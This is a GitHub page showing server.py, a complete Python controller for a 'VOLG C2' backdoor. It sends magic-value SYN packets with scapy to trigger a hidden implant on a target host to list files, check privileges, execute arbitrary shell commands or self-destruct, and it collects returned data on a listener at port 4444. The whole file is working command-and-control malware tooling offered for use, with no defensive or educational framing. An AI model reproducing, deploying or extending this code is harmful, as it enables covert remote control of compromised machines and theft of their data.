-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.py
More file actions
executable file
·191 lines (162 loc) · 6.96 KB
/
server.py
File metadata and controls
executable file
·191 lines (162 loc) · 6.96 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
import os
import socket
import struct
import threading
import time
from rich.console import Console
from rich.panel import Panel
from rich.table import Table
from rich.text import Text
from scapy.all import IP, TCP, Raw, send
# --- CONFIGURATION ---
TARGET_IP = "127.0.0.1" # CHANGE HERE
TARGET_PORT = 443 # CHANGE HERE
MAGIC_VALUE = 0x564F4C47 # DONT MODIFY
LISTEN_PORT = 4444 # CHANGE HERE
console = Console()
class VolgC2:
def __init__(self, ip, port):
self.running = True
self.target_ip = ip
self.target_port = port
def get_service_name(self, port):
services = {80: "HTTP", 443: "HTTPS", 22: "SSH", 53: "DNS", 8080: "HTTP-ALT"}
return services.get(port, "UNKNOWN")
def clear_screen(self):
os.system("cls" if os.name == "nt" else "clear")
def start_listener(self):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
s.bind(("0.0.0.0", LISTEN_PORT))
s.listen(5)
except Exception as e:
console.print(f"[bold red][-] Listener Error: {e}[/]")
return
while self.running:
s.settimeout(1.0)
try:
conn, addr = s.accept()
with conn:
data = conn.recv(65536)
if data:
console.print(
Panel(
data.decode("utf-8", errors="replace"),
title=f"[bold green]Incoming Data | Origin: {addr[0]}[/]",
subtitle="[dim]Secure Stream Active[/]",
border_style="green",
)
)
except socket.timeout:
continue
def send_payload(self, action, args=""):
# Magic Value is used here for the packet but never displayed in the UI
payload = (
struct.pack(">I", MAGIC_VALUE) + struct.pack("B", action) + args.encode()
)
pkt = (
IP(dst=self.target_ip)
/ TCP(dport=self.target_port, flags="S")
/ Raw(load=payload)
)
try:
send(pkt, verbose=False)
console.print(
f"[bold blue][+] Trigger sent:[/] [white]Action {hex(action)}[/] -> [cyan]{self.target_ip}:{self.target_port}[/]"
)
except PermissionError:
console.print(
"[bold red][!] Error: Permission denied. Root privileges required for raw packets.[/]"
)
def display_status(self):
service = self.get_service_name(self.target_port)
status_text = Text()
status_text.append("Target Host : ", style="bold white")
status_text.append(f"{self.target_ip}\n", style="yellow")
status_text.append("Target Port : ", style="bold white")
status_text.append(f"{self.target_port} ", style="cyan")
status_text.append(f"({service})\n", style="dim cyan")
status_text.append("Local Port : ", style="bold white")
status_text.append(f"{LISTEN_PORT}", style="green")
console.print(
Panel(
status_text,
title="[bold red]VOLG C2 INTERFACE[/]",
border_style="red",
expand=False,
)
)
def display_menu(self):
table = Table(show_header=True, header_style="bold cyan", box=None)
table.add_column("ID", style="dim")
table.add_column("Command")
table.add_column("Description")
table.add_row("1", "ls <path>", "List directory contents")
table.add_row("2", "id", "Check current privileges")
table.add_row("3", "shell <cmd>", "Execute remote shell command")
table.add_row("set", "set <ip> <p>", "Switch target session")
table.add_row("c", "clear", "Wipe terminal history")
table.add_row("99", "HALT", "[bold red]Initiate remote self-destruct[/]")
table.add_row("0", "exit", "Shutdown local controller")
console.print(table)
def run(self):
threading.Thread(target=self.start_listener, daemon=True).start()
try:
while True:
self.display_status()
self.display_menu()
raw_input = (
console.input("[bold red]VOLG[/][bold white] > [/]")
.strip()
.split(" ", 1)
)
if not raw_input or not raw_input[0]:
continue
choice = raw_input[0].lower()
cmd_args = raw_input[1] if len(raw_input) > 1 else ""
if choice in ["0", "exit", "quit"]:
self.running = False
console.print("[yellow][!] Terminal session closing...[/]")
break
elif choice in ["c", "clear"]:
self.clear_screen()
continue
elif choice == "set":
try:
new_parts = cmd_args.split(" ")
self.target_ip = new_parts[0]
self.target_port = int(new_parts[1])
console.print("[green][+] Target parameters updated.[/]")
except:
console.print("[red][!] Usage: set <ip> <port>[/]")
elif choice == "1":
self.send_payload(0x01, cmd_args)
elif choice == "2":
self.send_payload(0x02)
elif choice == "3":
if not cmd_args:
console.print(
"[red][!] Error: Remote command string required.[/]"
)
continue
self.send_payload(0x03, cmd_args)
elif choice == "99":
confirm = console.input(
"[bold red][?] CONFIRM REMOTE PURGE? (y/n): [/]"
)
if confirm.lower() == "y":
self.send_payload(0x99)
console.print(
"[bold red][!] Kill-switch sequence initiated. Connection lost.[/]"
)
time.sleep(1)
break
else:
console.print("[red][!] Command not recognized.[/]")
except KeyboardInterrupt:
console.print("\n[yellow][!] Exiting controller...[/]")
if __name__ == "__main__":
# The Magic Value is still used by the logic but hidden from the UI
c2 = VolgC2(TARGET_IP, TARGET_PORT)
c2.run()